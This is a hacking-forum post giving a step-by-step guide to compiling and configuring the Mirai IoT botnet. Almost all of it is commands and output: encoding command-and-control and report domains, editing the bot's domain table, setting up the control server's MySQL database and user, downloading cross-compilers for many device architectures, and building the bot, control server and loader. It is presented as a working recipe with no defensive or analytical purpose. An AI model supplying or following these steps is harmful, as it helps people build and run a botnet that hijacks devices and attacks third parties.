• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Build Mirai botnet: Compile Mirai Source

Status
Not open for further replies.

dEEpEst

☣☣ In The Depths ☣☣
Staff member
Administrator
Super Moderator
Hacker
Specter
Crawler
Shadow
Joined
Mar 29, 2018
Messages
13,861
Solutions
4
Reputation
32
Reaction score
45,552
Points
1,813
Credits
55,350
‎7 Years of Service‎
 
56%
[h=2]Install requirements[/h][FONT=&amp]apt-get install git gcc golang electric-fence mysql-server mysql-client[/FONT]

[h=2]Download source code[/h][FONT=&amp] [/FONT]
This link is hidden for visitors. Please Log in or register now.
[FONT=&amp] [/FONT]

[h=2]Compile encrypt-script[/h][FONT=&amp]cd mirai/tools && gcc enc.c -o enc.out[/FONT]

[h=2]Encrypt your cnc-domain and report-domain[/h][FONT=&amp]./enc.out string cnc.mirai.com[/FONT]

xy@kali:~/Desktop/Mirai-Source-Code-master/mirai/tools$ ./enc.out string cnc.mirai.com

XOR'ing 14 bytes of data...


\x41\x4C\x41\x0C\x4F\x4B\x50\x43\x4B\x0C\x41\x4D\x4F\x22



[FONT=&amp]./enc.out string report.mirai.com[/FONT]

xy@kali:~/Desktop/Mirai-Source-Code-master/mirai/tools$ ./enc.out string report.mirai.com

XOR'ing 17 bytes of data...


\x50\x47\x52\x4D\x50\x56\x0C\x4F\x4B\x50\x43\x4B\x0C\x41\x4D\x4F\x22



[h=2]Configuring bot[/h][FONT=&amp]edit file "tables.c"[/FONT]

[FONT=&amp]vi ../bot/tables.c[/FONT]

[FONT=&amp]change string in line 18,line 21 to your encrypted domain string.[/FONT]

void table_init(void)

{ // change below 4 lines

add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x4F\x4B\x50\x43\x4B\x0C\x41\x4D\x4F\x22", 30); //cnc.mirai.com

add_entry(TABLE_CNC_PORT, "\x22\x35", 2); // 23

add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x4F\x4B\x50\x43\x4B\x0C\x41\x4D\x4F\x22", 29); // report.mirai.com

add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2); // 48101

[h=2]Configuring CNC[/h][FONT=&amp]cd ../../scripts[/FONT]

[FONT=&amp]edit file "db.sql"[/FONT]

[FONT=&amp]vi db.sql[/FONT]

[FONT=&amp]add string "use mirai;" in line 2, after "CREATE DATABASE mirai;"[/FONT]

CREATE DATABASE mirai;

use mirai;

CREATE TABLE `history` (

...

[FONT=&amp]start mysql service[/FONT]

[FONT=&amp]service mysql start[/FONT]

[FONT=&amp]update mysql database with this script (root:root is the user & pass I've set in my Mysql-server)[/FONT]

[FONT=&amp]cat db.sql | mysql -uroot -proot[/FONT]

[FONT=&amp]add user to mysql[/FONT]

[FONT=&amp]mysql -uroot -proot mirai[/FONT]

[FONT=&amp]INSERT INTO users VALUES (NULL, 'mirai-user', 'mirai-pass', 0, 0, 0, 0, -1, 1, 30, '');[/FONT]

[FONT=&amp]exit[/FONT]

xy@kali:~/Desktop/Mirai-Source-Code-master/scripts$ mysql -uroot -proot mirai

...

mysql> INSERT INTO users VALUES (NULL, 'mirai-user', 'mirai-pass', 0, 0, 0, 0, -1, 1, 30, '');

Query OK, 1 row affected (0.06 sec)

mysql> exit

Bye

[FONT=&amp]edit file "main.go"[/FONT]

[FONT=&amp]vi ../mirai/cnc/main.go[/FONT]

[FONT=&amp]line 10 - line 14 set mysql user and pass here[/FONT]

const DatabaseAddr string = "127.0.0.1"

const DatabaseUser string = "root"

const DatabasePass string = "root"

const DatabaseTable string = "mirai"

[h=2]Cross Compile[/h][FONT=&amp]now you are in "scripts" folder[/FONT]

xy@kali:~/Desktop/Mirai-Source-Code-master/scripts$

[FONT=&amp]create folder at Mirai root path[/FONT]

[FONT=&amp]cd .. && mkdir cross-compile-bin[/FONT]

[FONT=&amp]cd cross-compile-bin[/FONT]

[FONT=&amp]run following commands to download cross-compiler (use proxy if speed is slow)[/FONT]

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2

[FONT=&amp]then run the script[/FONT]

[FONT=&amp]cd ../scripts[/FONT]

[FONT=&amp]sudo ./cross-compile.sh[/FONT]

[FONT=&amp]type 'n' here[/FONT]

Install mysql-server and mysql-client (y/n)? n

[FONT=&amp]edit .bashrc[/FONT]

[FONT=&amp]vi ~/.bashrc[/FONT]

[FONT=&amp]add following string at bottom[/FONT]

export PATH=$PATH:/etc/xcompile/armv4l/bin

export PATH=$PATH:/etc/xcompile/armv5l/bin

export PATH=$PATH:/etc/xcompile/armv6l/bin

export PATH=$PATH:/etc/xcompile/i586/bin

export PATH=$PATH:/etc/xcompile/m68k/bin

export PATH=$PATH:/etc/xcompile/mips/bin

export PATH=$PATH:/etc/xcompile/mipsel/bin

export PATH=$PATH:/etc/xcompile/powerpc/bin

export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin

export PATH=$PATH:/etc/xcompile/sh4/bin

export PATH=$PATH:/etc/xcompile/sparc/bin

export GOPATH=$HOME/go

[FONT=&amp]refresh[/FONT]

[FONT=&amp]mkdir ~/go[/FONT]

[FONT=&amp]source ~/.bashrc[/FONT]

[h=2]Build bot and CNC[/h][FONT=&amp]Get golang requiremnts[/FONT]

[FONT=&amp]go get github.com/go-sql-driver/mysql[/FONT]

[FONT=&amp]go get github.com/mattn/go-shellwords[/FONT]

[FONT=&amp]In mirai folder, run build.sh script[/FONT]

[FONT=&amp]cd ../mirai[/FONT]

[FONT=&amp]./build.sh debug telnet[/FONT]

[h=2]Build loader[/h][FONT=&amp]cd ../loader[/FONT]

[FONT=&amp]./build.sh[/FONT]

 
Status
Not open for further replies.
Back
Top